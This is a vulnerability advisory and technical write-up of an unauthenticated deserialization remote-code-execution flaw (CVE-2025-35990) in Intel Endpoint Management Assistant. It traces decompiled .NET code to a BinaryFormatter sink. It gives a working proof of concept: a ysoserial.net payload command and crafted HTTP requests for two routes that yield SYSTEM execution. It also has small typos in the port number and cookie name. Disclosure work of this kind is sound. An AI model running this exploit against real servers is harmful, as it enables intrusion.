Intel Endpoint Management Assistant Unauthenticated Remote Code Execution

  • Max Keasley Max Keasley
  • Published: 16 Jun 2026
  • Type: Remote Code Execution
  • Severity: High

Affected Products

Intel Endpoint Management Assistant < 1.14.5

CVE

CVE-2025-35990

Overview

Reversec identified and exploited an unauthenticated remote code execution vulnerability in Intel® Endpoint Management Assistant (EMA). This would allow an attacker to execute code on the underlying server as the account configured to run the service. Reversec demonstrated this by crafting an HTTP GET request with specific directives, which resulted in insecure deserialization of an attacker controlled object within the EMAAjaxServer.exe process.

Technical Details

In the .NET Framework (.NET), deserialization is the process of converting a stream of bytes (or another serialized format) back into live objects in memory. .NET offers several serializers including BinaryFormatter which was capable of serializing and deserializing arbitrary object graphs, including private fields and complex types, without the need for explicit schema definitions.

However, because BinaryFormatter reconstructs objects based on type names and field data in the stream, it is vulnerable to deserialization attacks: a malicious actor can craft a payload that, when deserialized, instantiates objects that execute harmful code paths (e.g., triggeringObjectDataProvider, TypeConfuseDelegate, or other deserialization gadgets) or cause denial-of-service via resource exhaustion. These attacks exploit the fact that BinaryFormatter does not validate the incoming data, making it a prime target for remote code execution vulnerabilities in applications that accept untrusted data. Microsoft has issued a warning that BinaryFormatter is insecure and can’t be made secure.

EMAAjaxServer.exe was responsible for exposing Ajax related functionality and was reachable via the IIS hosted web application at /ajax/ path on port 443 or directly on port 8084. In order to reach the vulnerable code-path on either of the HTTP services, a number of requirements for a HTTP GET request needed to be satisfied, these are discussed per service in the following sections. For both routes; a serialized payload which executes whoami and writes the result to C:\Reversec.txt was generated with the following ysoserial.net command:

ysoserial.exe -f BinaryFormatter -g ClaimsIdentity -o base64 -c "cmd.exe /c whoami > C:\Reversec.txt"

Port 80/443 route

To reach the vulnerable sink via the standard IIS managed website the following criteria were identified to be required:

  • The request needs to be requesting a base path of /ajax/
  • The subpath need to match /MeshR2TX/redirection
  • The number of URL segments need to be more than 2
  • An RC GET parameter that contains a BinaryFormatter url safe base64 encoded serialized data which is prepended with MRC needs to be provided

The vulnerable source functionality within CentralAjaxServer.ProcessContext which could be reached from an unauthenticated perspective can be seen as follows:

// Token: 0x06000025 RID: 37 RVA: 0x00004BC8 File Offset: 0x00002DC8
private void ProcessContext(HttpListenerContext context)
//[...SNIP...]
            if (
                text3.StartsWith("/MeshR2TX/redirection") && 
                context.Request.Url.Segments.Length > 2
            ){
                this._processContextAmt.ProcessMeshR2TxForRedirection(this, context, flag);
                return;
//[...SNIP...]

The ProcessMeshR2TxForRedirection function fetches the value of the RC GET parameter and passes the context and the parameter to CheckRoutingCookieAndUser.

// MeshAjaxServer.code.ProcessContext.ProcessContextAmt
// Token: 0x06000170 RID: 368 RVA: 0x00012854 File Offset: 0x00010A54
public void ProcessMeshR2TxForRedirection(CentralAjaxServer centralAjaxServer, HttpListenerContext context, bool hasAjaxInPath) {
	string text = context.Request.QueryString["RC"];
	Guid guid;
	RoutingCookie routingCookie;
	if (
        !this._processContextUtility.CheckRoutingCookieAndUser(centralAjaxServer, context, text, false, out guid, out routingCookie) 
    )
//[...SNIP...]

CheckRoutingCookieAndUser checks the encryptedRoutingCookie passed via the RC GET parameter and passes it to DecodeRoutingCookie for further processing.

// MeshAjaxServer.code.ProcessContext.ProcessContextUtility
// Token: 0x06000178 RID: 376 RVA: 0x00013090 File Offset: 0x00011290
public bool CheckRoutingCookieAndUser(CentralAjaxServer centralAjaxServer, HttpListenerContext context, string encryptedRoutingCookie, bool isForWsman, out Guid userId, out RoutingCookie routingCookie) {
	userId = Guid.Empty;
	routingCookie = null;
	if (string.IsNullOrWhiteSpace(encryptedRoutingCookie)) {
		string text = this.CreateInternalWsmanErrorMessage("Encrypted routing cookie is not available.", isForWsman, ProcessContextUtility.InternalWsmanErrorCode.RoutingCookieNotAvailable);
		centralAjaxServer.Debug(SoftwareManager.EventSeverity.Error, text, null);
		centralAjaxServer.FailHttpContextTracking(context, 400, text, true);
		return false;
	}
	routingCookie = RoutingCookie.DecodeRoutingCookie(centralAjaxServer.ServerSettings.RoutingKey, encryptedRoutingCookie);
//[...SNIP...]

The DecodeRoutingCookie and DecodeRoutingCookieEx wrapper functions lead to a call to DecodeRoutingCookieEx.

		// Token: 0x060001BE RID: 446 RVA: 0x0000CE48 File Offset: 0x0000B048
		public static RoutingCookie DecodeRoutingCookie(string key, string msg) {
			return RoutingCookie.DecodeRoutingCookieEx(key, msg, true);
		}

        // Token: 0x060001BF RID: 447 RVA: 0x0000CE54 File Offset: 0x0000B054
		public static RoutingCookie DecodeRoutingCookieEx(string key, string msg, bool clockcheck) {
			byte[] array = RoutingCookie.DecodeRoutingCookieEx(key, msg);
//[...SNIP...]

DecodeRoutingCookieEx verifies that the passed message is not null or its length is not less than 5 and the message starts with MRC. Once those criteria are satisfied, it url safe base64 decodes the encoded encrypted routing cookie which gets passed to DecryptMessage.

        // Token: 0x060001C1 RID: 449 RVA: 0x0000D220 File Offset: 0x0000B420
		private static byte[] DecodeRoutingCookieEx(string key, string msg) {
			byte[] array;
			try {
				if (msg == null || msg.Length < 5 || !msg.StartsWith("MRC")) {
					array = null;
				}
				else {
					msg = MeshUtils.UrlUnEscapeBase64(msg);
					byte[] array2 = null;
					try {
						array2 = Convert.FromBase64String(msg.Substring(3));
					}
					catch (Exception ex) {
						MeshLogger.Log(MeshLogger.Message.Exception, "Unable to decode Routing Cookie", "", "", 1, ex);
					}
					if (array2 == null || array2.Length < 20) {
						array = null;
					}
					else {
						array = RoutingCookie.DecryptMessage(key, array2);
//[...SNIP...]

DecryptMessage instantiates a new AesGcmEncryption class to call the Decrypt function with the message and key.

		// Token: 0x060001C3 RID: 451 RVA: 0x0000D2CE File Offset: 0x0000B4CE
		public static byte[] DecryptMessage(string key, byte[] msg) {
			return ((IAesGcmEncryption)new AesGcmEncryption()).Decrypt(msg, key);
		}

Decrypt from the IAesGcmEncryption class instantiates a new IAuthenticatedAESCryptoHelper class to call the AESDecrypt function.

// MeshServersCommon.code.AesGcmEncryption
// Token: 0x060003EC RID: 1004 RVA: 0x000165E8 File Offset: 0x000147E8
public byte[] Decrypt(byte[] plainText, string key) {
	IAuthenticatedAESCryptoHelper authenticatedAESCryptoHelper = new AuthenticatedAESCryptoHelper();
	if (string.IsNullOrEmpty(key)) {
		return null;
	}
	authenticatedAESCryptoHelper.InitializeAESEncryption(key);
	OperationResult operationResult = authenticatedAESCryptoHelper.AESDecrypt(plainText, null);
//[...SNIP...]

The user controlled data has now ended up in the vulnerable sink function:

public OperationResult AESDecrypt(byte[] cipher, byte[] authenticatedData)
//[...SNIP...]
                    AesGcmProtectedBlob aesGcmProtectedBlob = (AesGcmProtectedBlob)new BinaryFormatter().Deserialize(memoryStream);
//[...SNIP...]

Alt port (8084) route

To reach the vulnerable sink via the Ajax related port the following criteria were identified:

  • Traffic is hitting the Ajax port 8084
  • Requesting /mesh-rlogin-digest
  • MeshR2TX cookie present
  • Cookie needs to start with “MRC
  • Cookie needs to contain url safe base64 encoded BinaryFormatter serialized data

The vulnerable source functionality within CentralAjaxServer.ProcessContext can be seen as follows:

private void ProcessContext(HttpListenerContext context)
//[...SNIP...]
            if (
                !flag && 
                context.Request.Cookies["MeshR2TX"] != null && 
                text3.StartsWith("/mesh-rlogin-digest") && 
                context.Request.Url.Segments.Length == 2
            ){
                this._processContextAmt.ProcessRedirectionForLoginUnderDigestAuth(this, context);
                return;
//[...SNIP...]

CentralAjaxServer.ProcessContext called ProcessRedirectionForLoginUnderDigestAuth which called DecodeRoutingCookie:

// MeshAjaxServer.code.ProcessContext.ProcessContextAmt
// Token: 0x06000171 RID: 369 RVA: 0x00012988 File Offset: 0x00010B88
public void ProcessRedirectionForLoginUnderDigestAuth(CentralAjaxServer centralAjaxServer, HttpListenerContext context) {
	string urlArgValue = this._processContextUtility.GetUrlArgValue(context.Request.Url.PathAndQuery, "&UR=");
	string routingKey = centralAjaxServer.ServerSettings.RoutingKey;
	Cookie cookie = context.Request.Cookies["MeshR2TX"];
	if (RoutingCookie.DecodeRoutingCookie(routingKey, (cookie != null) ? cookie.Value : null) == null)
//[...SNIP...]

This then follows the rest of the flow shown in Port 80/443 route.

Proof of Concept

Tested on Intel EMA version 1.14.3.0 and version 1.14.4.0.

  1. Create payload with the following command
ysoserial.exe -f BinaryFormatter -g ClaimsIdentity -o base64 -c "cmd.exe /c whoami > C:\Reversec.txt"
  1. For port 80/443: send a GET request to the /ajax/MeshR2TX/redirection endpoint with the parameter ?RC=MRC. Append the payload after MRC as shown below:
GET /ajax/MeshR2TX/redirection?RC=MRC<SerialisedPayloadHere> HTTP/2
Host: TARGET.LOCAL
  1. For port 8040: send a GET request to the mesh-rlogin-digest endpoint with the cookie MeshRT2TC=MRC. Append the payload after MRC as shown below
GET /mesh-rlogin-digest HTTP/2
Host: TARGET.LOCAL:8084
Cookie: MeshR2TX=MRC<SerialisedPayloadHere>
  1. The contents of the C:\Reversec.txt file after exploiting the vulnerability on the server can be seen as follows:
NT AUTHORITY\SYSTEM

Remediation

Update the Intel EMA Server to the latest version: 1.14.5.0.

Timeline

Date Action
17 Nov 2025 Initial disclosure to Intel
1 Dec 2025 Case number assigned by Intel
25 Feb 2026 Follow up with Intel
11 Mar 2026 Intel communicate CVE-2025-35990 is reserved and scheduled to release on 2026-05-12.
12 May 2026 CVE-2025-35990 is published
16 Jun 2026 Technical writeup for CVE-2025-35990 is published